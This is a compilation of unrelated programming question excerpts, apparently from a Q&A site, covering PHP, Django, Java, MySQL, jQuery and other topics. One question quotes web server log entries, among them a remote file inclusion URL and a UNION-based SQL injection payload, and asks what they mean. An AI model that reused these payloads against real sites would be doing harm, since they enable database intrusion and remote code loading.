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• Suggestions for performance improvement surrounding sending email notifications?

  - by jcmoney

  It takes around a couple of seconds for my app to execute the code to send an email right now on a test server with nothing much else running. Not sure if this is typical/expected. I'm also using the php framework Kohana's email helper and not php's mail directly out of convenience if that matters. Is it always just better to schedule a cron job to send emails every 5 min or so? Or should I be able to send emails immediately and I'm just not doing something right? What the script does is insert a row into the db and notifies the relevant group that the row was created. The groups are usually < 20 people so I just do a loop calling Kohana's email helper each time for each member of the group.

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• Django ORM dealing with MySQL BIT(1) field

  - by Carles Barrobés

  In a Django application, I'm trying to access an existing MySQL database created with Hibernate (a Java ORM). I reverse engineered the model using: $ manage.py inspectdb > models.py This created a nice models file from the Database and many things were quite fine. But I can't find how to properly access boolean fields, which were mapped by Hibernate as columns of type BIT(1). The inspectdb script by default creates these fields in the model as TextField and adds a comment saying that it couldn't reliably obtain the field type. I changed these to BooleanField but it doesn't work (the model objects always fetch a value of true for these fields). Using IntegerField won't work as well (e.g. in the admin these fields show strange non-ascii characters). Any hints of doing this without changing the database? (I need the existing Hibernate mappings and Java application to still work with the database).

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• Java 7 API design best practice - return Array or return Collection

  - by Shengjie

  I know this question has be asked before generic comes out. Array does win out a bit given Array enforces the return type, it's more type-safe. But now, with latest JDK 7, every time when I design this type of APIs: public String[] getElements(String type) vs public List<String> getElements(String type) I am always struggling to think of some good reasons to return A Collection over An Array or another way around. What's the best practice when it comes to the case of choosing String[] or List as the API's return type? Or it's courses for horses. I don't have a special case in my mind, I am more looking for a generic pros/cons comparison.

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• Is this an injection attempt or a normal request?

  - by CheeseConQueso

  In cPanel's Analog Stats statistics module, I've noticed countless requests to connect to the following example: /?x=19&y=15 The numbers are random, but its always setting x and y variables. Another category of mysterious requests: /?id=http://nic.bupt.edu.cn/media/j1.txt?? There are other attempts at injections in the request log that have straight sql written into them as well. Example: /jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13-- It looks like they are all reaching a 404, but I'm still wondering about the intent behind these. I know this is vague, but maybe someone knows that this is normal while using cPanel & phpMyAdmin services. Also, there was a search box installed on the site which could be the reason. Any suggestions as to what all these are?

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• Alternative to jQuery .data()?

  - by thebossman

  I'm a big fan of jQuery's .data() method, but I can't always use it. Often times I am rendering html templates that I pass via AJAX and I need to attach metadata to each of the elements in the template. For example: <ul> {% for item in itemlist %} <li metadata="{{ item.metadata }}">{{ item.name }}</li> {% endfor %} </ul> I know attaching attributes to store data is bad practice (and it might not even work in older versions of IE). What is the best practice? Is there a good alternative to this method?

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• Why MySQL multiple-column index is overpopulated?

  - by actual

  Consider following MySQL table: CREATE TABLE `log` ( `what` enum('add', 'edit', 'remove') CHARACTER SET ascii COLLATE ascii_bin NOT NULL, `with` int(10) unsigned NOT NULL, KEY `with_what` (`with`,`what`) ) ENGINE=InnoDB; INSERT INTO `log` (`what`, `with`) VALUES ('add', 1), ('edit', 1), ('add', 2), ('remove', 2); As I understand, with_what index must have 2 unique entries on its first with level and 3 unique entries in what "subindex". But MySQL reports 4 unique entries for each level. In other words, number of unique elements for each level is always equal to number of rows in log table. Is that a bug, a feature or my misunderstanding?

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• How to receive a datastream from a device on your computer, in C#

  - by WebDevHobo

  I plan to build a small audio-recorder app in C#. My laptop has a built in Microphone that's always active, so I want to use that as an early-stage test. I would simply start recording, save the file as a .wav or even use the LAME dll to make it into an MP3. The problem is, I don't know how to contact that microphone. Do I use a library that can detect a device, or do I just catch a stream of bytes from the port that the device is on? I don't have any experience with receiving data from connected devices. I suppose that I'll need to enter all the data into a byte array and then Serialize that into a WAV file, but I'm not sure. Can I get some pointers on this subject?

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• How to execute XSLT 2.0 with ant ?

  - by paulgreg

  I'm trying to run an XSLT transformation from an ant file. I'm using a XSLT 2.0 stylesheet with a saxon 9 parser (supporting XSLT 2.0). The problem is that it seems that ant is always calling an XSLT 1.0 parser. Here's my ant file : <xslt style="stylesheet.xslt" basedir="core/" extension=".xml" destdir="core/" classpath="D:\\DevTools\\saxon\\bin\\saxon9.jar"> </xslt> If I call it directly (without ant), it's working. Any idea ?

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• php $_POST array empty upon form submission...

  - by Mike D

  Hi folks, I'm baffled on this after much googling. This issue is simple, I have a custom CMS i've built that works perfectly on my dev box (Ubuntu/PHP5+/MySQL5+). I just moved it up to the production box for my client and now all form submissions are showing up as empty $_POST arrays. I found a trick to verify the data is actually being passed using "file_get_contents('php://input');" and the data is showing up fine there -- the $_POST/$_REQUEST arrays are always empty. I've also verified the content-type headers are correct as well via firebug (application/x-www-form-urlencoded; charset=utf-8). This issue is happening regardless of whether a form is submitting via AJAX or a regular form submit. Any help is greatly appreciated!

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• Is using .h as a header for a c++ file wrong?

  - by Chris Huang-Leaver

  Is using .h as a header for a c++ file wrong? I see it all over the place, especially with code written in the "C style". I noticed that Emacs always selects C highlighting style for a .h header, but c++ for hpp or hh. Is it actually "wrong" to label your headers .h or is it just something which annoys me? EDIT: There is a good (ish) reason why this annoys me, if I have project files labelled, 'hpp & cpp' I can get away with 'grep something *pp' etc. otherwise I have to type '.h cpp'

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• mod_rewrite to change my urls

  - by user319859

  Hi, I've been fighting with mod-rewrite for a while. Basically, I have a website that I'm moving to a difference namespace/directory. What I'd like to do is change urls that look like this: http://mydomain.com/index.php?a=xxxxxxxxxx These urls will always have "index.php?a=". I have a different/new site that also has an index.php file, so it's important that I do a rewrite only when a= is in the URL. The new url should be like http://mydomain.com/ns1/index.php?a=xxxxxxxxxxx Seems pretty simple, but i can't seem to get mod_rewrite to do it for me, here's what I have: # rewrite old urls to new namespace RewriteRule ^/index.php\?a=(.*)$ /gc1/index.php\?x=1&a=$1 [R=301,L] See anything wrong?

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• Isolated storage

  - by Costa

  Hi I am not sure that I understand Isolated storage. I read the article http://msdn.microsoft.com/en-us/library/3ak841sy%28VS.80%29.aspx 1) Why I don't just use App data folder? 2) In the link above : "With isolated storage, data is always isolated by user and by assembly. Credentials such as the origin or the strong name of the assembly determine assembly identity. Data can also be isolated by application domain, using similar credentials." I can't think about a scenario that makes this future important. In general I don't understand the philosophy and the need of "isolated storage" which inspire MS to create such a thing. Thanks

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• controlling the order of submitted futures

  - by mac

  In this example, i am submitting a few files to my comparator object. It all works fine, except that i noticed that order in which files are submitted is not always teh same order in which they are returned. Any suggestions on how i can better control this? ExecutorService pool = Executors.newFixedThreadPool(5); CompletionService<Properties> completion = new ExecutorCompletionService<Properties>(pool); for (String target : p.getTargetFiles()) { completion.submit(new PropertiesLoader(target, p)); } for (@SuppressWarnings("unused") String target : p.getTargetFiles()) { Properties r = null; try { r = completion.take().get(); } catch (InterruptedException e) { e.printStackTrace(); } catch (ExecutionException e) { e.printStackTrace(); } p.addTargetFilesProperties(r); } pool.shutdown();

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• Download Specific Images

  - by thebourneid

  I'm trying to search and download specific images /front and back cover / of a website if found but whatever I do I always download only one of them. What should I change in my code to download both of them if found? while ($title_found =~ /'(http:\/\/images.blu-ray.com\/movies\/covers\/\d+_.*?)'/gis) { $url = getSite($1); if ($title_found =~ /front/) { $filename = 'front.jpg'; } elsif ($title_found =~ /back/) { $filename = 'back.jpg'; } } my $dir = 'somepath'.$filename; open F, ">", $dir; binmode F; print F $url; close F; return 0;

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• check sequence in matlab

  - by gabboshow

  I have a vector that should contain n sequences from 00 to 11 A = [00;01;02;03;04;05;06;07;08;09;10;11;00;01;02;03;04;05;06;07;08;09;10;11] and I would like to check that the sequence "00 - 11 " is always respected (no missing values). for example if A =[00;01;02; 04;05;06;07;08;09;10;11;00;01;02;03;04;05;06;07;08;09;10;11] (missing 03 in the 3rd position) For each missing value I would like to have back this information in another vector missing= [value_1,position_1; value_2, position_2; etc, etc] Can you help me?

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• How should I think about perspectives and rotation in OpenGL ES?

  - by Omega

  As I start to write rendering code, how do I want to consider my drawing operations? Will they always be relative to a fixed coordinate system on the screen, or does this change based on the camera perspective? The best example I can try to come up with is say I'm at (0,0,0) and I draw a line to (3,3,3). If I change the perspective +1 on the X axis and conduct the same operation, does it happen at (4,3,3), or am I just getting a new view of the line still being made at (3,3,3)? When doing rotation, am I moving the point from which a frustum emanates, or am I moving the rendering underneath?

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• Android : HTTP Post Issue

  - by Ram

  HttpClient client = new DefaultHttpClient(); String data = "valid SOAP REquest"; HttpPost httpPost = new HttpPost("valid url"); Log.d("inside", "created http post"); try { ByteArrayInputStream baos = new ByteArrayInputStream(data.getBytes()); Log.d("inside", "firing request..."); HttpResponse httpResponse = client.execute(httpPost); Log.d("inside", "request sent" + httpResponse.getStatusLine().getStatusCode()); Always, I get the status code as 405. I tried request queue as well.. sneding the byte array as part of the request queue, still the same issue.

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• Forced naming of parameters in python

  - by Mark Mayo

  In python you may have a function definition: def info(object, spacing=10, collapse=1) which could be called in any of the following ways: info(odbchelper) info(odbchelper, 12) info(odbchelper, collapse=0) info(spacing=15, object=odbchelper) thanks to python's allowing of any-order arguments, so long as they're named. The problem we're having is as some of our larger functions grow, people might be adding parameters between spacing and collapse, meaning that the wrong values may be going to parameters that aren't named. In addition sometimes it's not always clear as to what needs to go in. We're after a way to force people to name certain parameters - not just a coding standard, but ideally a flag or pydev plugin? so that in the above 4 examples, only the last would pass the check as all the parameters are named. Odds are we'll only turn it on for certain functions, but any suggestions as to how to implement this - or if it's even possible would be appreciated.

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• jqGrid Additional POST datas when deleting

  - by user300657

  I want to delete a row in the grid, but the grid always post's only the id and oper, I also want to post additional data. My jqgrid is something like : jQuery("#editgrid").jqGrid({ url:'autoJSON.php', datatype: "xml", colNames:['RowID','Asigurator','Cilindree','Persoana', 'Perioada', 'Pret'], colModel:[ {name:'rowID',index:'rowID', width:60, editable:true}, {name:'idAsigurator',index:'idAsigurator', width:100, editable:true,editoptions:{size:20}}, {name:'cilindree',index:'cilindree', width:90, editable:true,editoptions:{size:20}}, {name:'persoana',index:'persoana', width:300,editable:true,edittype:"select",editoptions:{value:"Persoana juridica:Persoana juridica;Pensionar:Pensionar;Persoana fizica:Persoana fizica"}}, {name:'perioada',index:'perioada', width:120, align:"right",edittype:"select",editable:true,editoptions:{value:"12 luni:12 luni;6 luni:6 luni"}}, {name:'pret',index:'pret', width:80, align:"right",editable:true,editoptions:{size:20}} ], width:900, height:600, pager: '#pagered', sortname: 'rowID', viewrecords: true, sortorder: "desc", caption:"Autoturisme", editurl:"autoPOST.php", }); jQuery("#editgrid").jqGrid('navGrid',"#pagered",{edit:true,add:true,del:true}); What should I do to access in autoPOST.php rowID also as a post variable. Thanks

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• Rounding a positive number to a power of another number

  - by Sagekilla

  I'm trying to round a number to the next smallest power of another number. The number I'm trying to round is always positive. I'm not particular on which direction it rounds, but I prefer downwards if possible. I would like to be able to round towards arbitrary bases, but the ones I'm most concerned with at the moment is base 2 and fractional powers of 2 like 2^(1/2), 2^(1/4), and so forth. Here's my current algorithm for base 2. The log2 I multiply by is actually the inverse of log2: double roundBaseTwo(double x) { return 1.0 / (1 << (int)((log(x) * log2)) } Any help would be appreciated!

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• What is wrong in this json string?

  - by bala3569

  My json string looks like this, {"id" : "38","heading" : "Can you also figure out how to get me back the 10 hours I sp.....","description" : "Im having a very similar problem with the Login control - again it always generates a default style containing border -collapse -only in this case .....","img_url" : "~/EventImages/ EventImages1274014884460.jpg","catogory" : "News","doe" : "15-05-2010 "} But get the error, unterminated string literal.... EDIT: I used this but it didn't work, var newjson = cfreturn( """" & ToString( HfJsonValue ).ReplaceAll( "(['""\\\/\n\r\t]{1})", "\\$1" ) & """" ) ; var jsonObj = eval('(' + newjson + ')'); Error: missing ) after argument list Source Code: var newjson = cfreturn( """" & ToString( HfJsonValue ).ReplaceAll( "(['""\\\/\n\r\t]{1})", "\\$1" ) & """" ) ;

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• facebook app development

  - by musoNic80

  I have always developed my projects using MAMP locally and once done simply uploaded everything to a live server. However, I'm wanting to integrate some FB functionality in my current project and I believe I'm correct in saying that it is not possible to fully test FB integration locally. My problem is I don't want to release the project I'm working on until it's finished (or at least nearly finished!) by placing it on a live server. I don't even want people to see a login screen or anything. Is there a way I can upload everything to my domain for testing purposes but prevent anyone apart from me from accessing the site?

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• Extra space while installing .msi

  - by Cristina

  I have extra space in my custom made .msi. The data to be installed has about 600MB and the installer says it needs 1.4 GB.Switching to a different location then the predetermined one (e.g from C:\Program Files\My_App to F:\My_App) shows that it always need approximately 800 MB on the Windows partition, which is in my case the extra space. Any thoughts on why is this happening? Also can this cause an installation error on a 64-bit OS? I've only installed it on a 32-bit OS and everything is fine, but one of my colleagues is having problems installing it on the above mentioned type.

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• Storing Object Types in Variable then Initializing

  - by Jon Mattingly

  Is there a way in Objective-C to store an object/class in a variable to be passed to alloc/init somewhere else? For example: UIViewController = foo foo *bar = [[foo alloc] init] I'm trying to create a system to dynamically create navigation buttons in a separate class based on the current view controller. I can pass 'self' to the method, but the variable that results does not allow me to alloc/init. I could always import the .h file directly, but ideally I would like to make reusing the code as simple as possible. Maybe I'm going about this the wrong way?

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• EnumJobs not returning Copies & Total Pages

  - by Hein du Plessis

  I'm using Windows API's EnumJobs to find the PageCount and Copies of a print job, but I found that these fields are almost always zero when called on a print server. Although it could be my timing is out, because the number of pages increment as the job prints and once it's done the print job cannot be accessed. So there is about half a nanosecond when the values in EnumJobs is correct before it dissapears. I've been scouring the web but can't find any help on this, just other people with similar problems. Anybody with experience with EnumJobs or can suggest other means of determining the total number of pages printed?

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